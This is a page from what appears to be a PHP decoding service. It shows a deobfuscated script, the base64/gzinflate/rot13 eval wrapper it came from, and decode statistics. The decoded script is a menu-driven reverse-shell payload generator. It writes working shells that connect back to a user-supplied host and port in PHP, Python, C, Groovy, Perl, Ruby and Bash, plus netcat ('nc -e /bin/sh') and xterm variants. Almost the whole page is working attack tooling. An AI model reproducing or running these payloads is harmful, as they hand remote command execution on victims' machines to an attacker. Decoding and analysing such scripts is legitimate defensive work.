Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php $Cvar="zUrrYts2EP95A/4frmEWRJt5Vs6jbNldGsTpsCFan1ubFJ4oVUdFQpZ1m6ic5X/fHSk/oqTdgH2x..
Decoded Output download
system("clear");
error_reporting(0);
function input($pesan){
global $green;
echo "$green $pesan >>> ";
}
$green="\e[92m";
$red="\e[91m";
function asciiart() {
system("clear");
echo "
\e[93m
______ ____
/_ __/________ _____ / __ \____ ____ _____
/ / / ___/ __ `/ __ \ / / / / __ \/ __ \/ ___/
/ / / / / /_/ / /_/ / / /_/ / /_/ / /_/ / /
/_/ /_/ \__,_/ .___/ /_____/\____/\____/_/
/_/";
echo "
\e[36m
Author : Cvar1984
Code : PHP
Github : http://github.com/Cvar1984
Team : Blackhole Security
Version : 1.0 ( Alpha )
Date : 22-01-2018";
}
back:
input("Host");
$host=trim(fgets(STDIN, 1024));
input("port");
$port=trim(fgets(STDIN, 1024));
input("output name");
$namafile=trim(fgets(STDIN, 1024));
menu:
asciiart();
echo "
";
echo "$red =========================== Cvar1984 ))=====(@)>
";
echo "$green";
echo " (01) PHP
";
echo " (02) Python
";
echo " (03) C#
";
echo " (04) Java
";
echo " (05) Perl
";
echo " (06) Ruby
";
echo " (07) Bash
";
echo " (08) Xterm
";
echo " (09) Netcat
";
echo " (10) Back To Menu
";
echo "$red =========================== Cvar1984 ))=====(@)>
";
input("Chose Your Payload Script");
$pilih=trim(fgets(STDIN, 1024));
if(!in_array($pilih, array('01','02','03','04','05','06','07','08','09','10'), true)) {
echo "
$red ( ! ) Input false ( ! ) $green
";
trim(fgets(STDIN, 1024));
goto menu;
}else {
if($pilih == "01") {
$file=("
<?
fsockopen('$host',$port);
exec('/bin/sh -i <&3 >&3 2>&3');
?>");
$fp=fopen("$namafile","w+");
fwrite($fp,$file);
fclose($fp);
echo "Payload Generated";
trim(fgets(STDIN, 1024));
}elseif($pilih == "02") {
$file=("
import socket,subprocess,os;
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);
s.connect(('$host',$port));
os.dup2(s.fileno(),0);
os.dup2(s.fileno(),1);
os.dup2(s.fileno(),2);
p=subprocess.call(['/bin/sh','-i']);
");
$fp=fopen("$namafile","w+");
fwrite($fp,$file);
fclose($fp);
echo "Payload Generated";
trim(fgets(STDIN, 1024));
}elseif($pilih == "03") {
$file=("
#include <stdlib.h>
#include <unistd.h>
#include <sys/socket.h>
#include <netinet/in.h>
int main(void) {
daemon(1, 0);
int sock = socket(AF_INET, SOCK_STREAM, 0);
struct sockaddr_in serv_addr = {0};
serv_addr.sin_family = AF_INET;
serv_addr.sin_port = htons($port);
serv_addr.sin_addr.s_addr = inet_addr('$host');
if(0 != connect(sock, (struct sockaddr *)&serv_addr, sizeof(serv_addr)))
_exit(0);
dup2(sock, 0);
dup2(sock, 1);
dup2(sock, 2);
system('uname -a; w; id');
execl('/bin/bash', '/bin/bash', '-i', NULL);
}
");
$fp=fopen("$namafile","w+");
fwrite($fp,$file);
fclose($fp);
echo "Payload Generated";
trim(fgets(STDIN, 1024));
}elseif($pilih == "04") {
$file=("
r = Runtime.getRuntime()
p = r.exec(['/bin/bash','-c','exec 5<>/dev/tcp/$host/$port;cat <&5 | while read line; do \$line 2>&5 >&5; done'] as String[])
p.waitFor()
");
$fp=fopen("$namafile","w+");
fwrite($fp,$file);
fclose($fp);
echo "Payload Generated";
trim(fgets(STDIN, 1024));
}elseif($pilih == "05") {
$file=("
use Socket;
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp'));
if(connect(S,sockaddr_in($port,inet_aton($host)))){
open(STDIN,'>&S');
open(STDOUT,'>&S');
open(STDERR,'>&S');
exec('/bin/sh -i');
};
");
$fp=fopen("$namafile","w+");
fwrite($fp,$file);
fclose($fp);
echo "Payload Generated";
trim(fgets(STDIN, 1024));
}elseif($pilih == "06") {
$file=("
f=TCPSocket.open('$host',$port).to_i;
exec sprintf('/bin/sh -i <&%d >&%d 2>&%d',f,f,f)
");
$fp=fopen("$namafile","w+");
fwrite($fp,$file);
fclose($fp);
echo "Payload Generated";
trim(fgets(STDIN, 1024));
}elseif($pilih == "07") {
$file=("
bash -i >& /dev/tcp/$host/$port 0>&1
");
$fp=fopen("$namafile","w+");
fwrite($fp,$file);
fclose($fp);
echo "Payload Generated";
trim(fgets(STDIN, 1024));
}elseif($pilih == "08") {
$file=("
xterm -display $host:$port
");
$fp=fopen("$namafile","w+");
fwrite($fp,$file);
fclose($fp);
echo "Payload Generated";
trim(fgets(STDIN, 1024));
}elseif($pilih == "09") {
$file=("
nc -e /bin/sh $host $port
");
$fp=fopen("$namafile","w+");
fwrite($fp,$file);
fclose($fp);
echo "Payload Generated";
trim(fgets(STDIN, 1024));
}elseif($pilih == "10") {
goto back;
}
}
Did this file decode correctly?
Original Code
<?php
$Cvar="zUrrYts2EP95A/4frmEWRJt5Vs6jbNldGsTpsCFan1ubFJ4oVUdFQpZ1m6ic5X/fHSk/oqTdgH2xDJ/JH4+8N0KOh7GQM9bMCplTWvuwRJdExKNOJFAeCRVZmFTgOAkyoWsAKggTwTZPGaeBfduo1yYFH6UFeVkiKQPkrMl5yqF25mAYodfrThMX7xpos9B6XsnL/c6MwI1V5nPu6/lPSRp0V6WRYDagpPihpk3SSAC0anjWqAMM9AOPPIQjhzugoTsoH0vyuziGKzNdRdqDWK5eHnWePw0nzGQzXdKBWGXKD5GBu6CVdlYbaD3AL5AGDg7aTRoYUt2rFaqPv/cg1Ky4cHiX3GSeiCmPAA7g4jqN/P29egQvay521wGcvD/B+TslpsmI5kYhwgPXnXWgnfGZu7LtWaYzs+1IkXNfp7yQ0JdMEikxxOVfcRRGzA7AYnvA4LwIpynYuPI6FaW8Qafl+a2O5++VuTDCgw4aaJNGzfc8FjquG0YcaFKkc3k8kSJz/bPXH44d8L3OtloM5QbKQ7OBU/9uA0IE/k+QzqTZh6NnrAr5vb0zGSSo5DIZSly9ZzslMWe//SwiALatAfaz3XjUSg7QaLGcA/N8m09naB/sIDjEsAYVfMuGi6cVeduG39PrtILu4AkyKirorg2nyXVLTp/Z8CqNpxVnz4ZfhYxzFWvfhnApskfcx32PDsm+whmHQujM/+02MCeUTr3AeZHwG0IiOFaHBUJm6HSRCuepoQo1/WFhjNkTFQzSKFeHzLA7YHOW51uO5WiIeRHZJrJQcZfIMyJ7UfaR+J5yOyCiUdr6wk3UozaSwROw4QPpDOO0QJUNb+JhLPqOlhMuOEMqReVV2n6rSDcKowuh6flaLWpQdDR4NupUz/E2jWz2lYcyYJauK8vR1W8fAnf4UnPMZVQqY+MptBQcemFOD78dJJZzbN4zYRyH3bE+pbkomqbTvPlWr45i8BaQDJkcLVxwTIFkIXlMMPP4vJOBjPBNyP/FdXp1xchB1VU1I3uAzJTCiZNEGPFZxrHDcDwi7pqFtvlu5ez87eDD8Zszp5z2X1z8Meifnb45/1FlcLz8gkBzgkicU4s8YedW2G5km0cIOLMd7xu4/w28UGvYXeraztKiYJfzQ2AytZT1mbjWzPtbSO8/SE5JJNhEjm+RF3fUnvZJwSRDiEpA7ORh6fj7C4HENw4pXBXoBSpkAbNHBeyaq1xYruWpnPGA+Q51r9eIhQ6DYZkCeR5bS4nqnDvG8szMhjTPo4EKIJbR9YAma8Ktaqe55kM7xptunM5HMcTV8uCHHDoBu9g/bBCzsrweMJnBXBLZqcfzDDPGjJkHQrowQj/S0wFJ0Rp+tDcXdDsQq78kH7MFb9vYaXi1gfyihGx7q5kE1Ic9APwq0DHKm9ctK6FhCa30EGEOTuVTQro4ivLmGKWUsGN/gunrwPHLjx960+nXLI23q3ZZITlaAqFzso2nlFCGjgxkJXfrm/Jl1VOrlSEhHGmObWEur12Rha4Opqtm4BA7Id6oO/A33FlEEFES1S4w8oeQZrjaoCFdtTtr5+4QFlXrM771Tx/NCSaXn1Z8+yZI4i2PVZc18+JB1YsJtqW+Lk93HXI59p2TsiBK6xGF4N0n+HVV+cUs9J1y646DT+bp32pJCtUUlnAKByuNdkpwstu3uKumPW+0tm2bfdO9FuiLl3SPwWJBQkrhdz808N36XcO7SM+Pu3QXJ8b17VSafVvwgZpqfIhQWS8xrmf+H2VZUCQdopYzps/65dyzquVHjXFAYhMeK0/wbZv+2kyxSrXiC71BUCtKZEukUNAGHHUD1kH3/aruTgYtCfNc0qrDTarue1No/S5a/z1aYrr7Bw==";
eval(str_rot13(gzinflate(str_rot13(base64_decode(($Cvar))))));
?>
Function Calls
| gzinflate | 1 |
| str_rot13 | 2 |
| base64_decode | 1 |
Stats
| MD5 | 522fd6070036947a7a41c132be62b562 |
| Eval Count | 1 |
| Decode Time | 78 ms |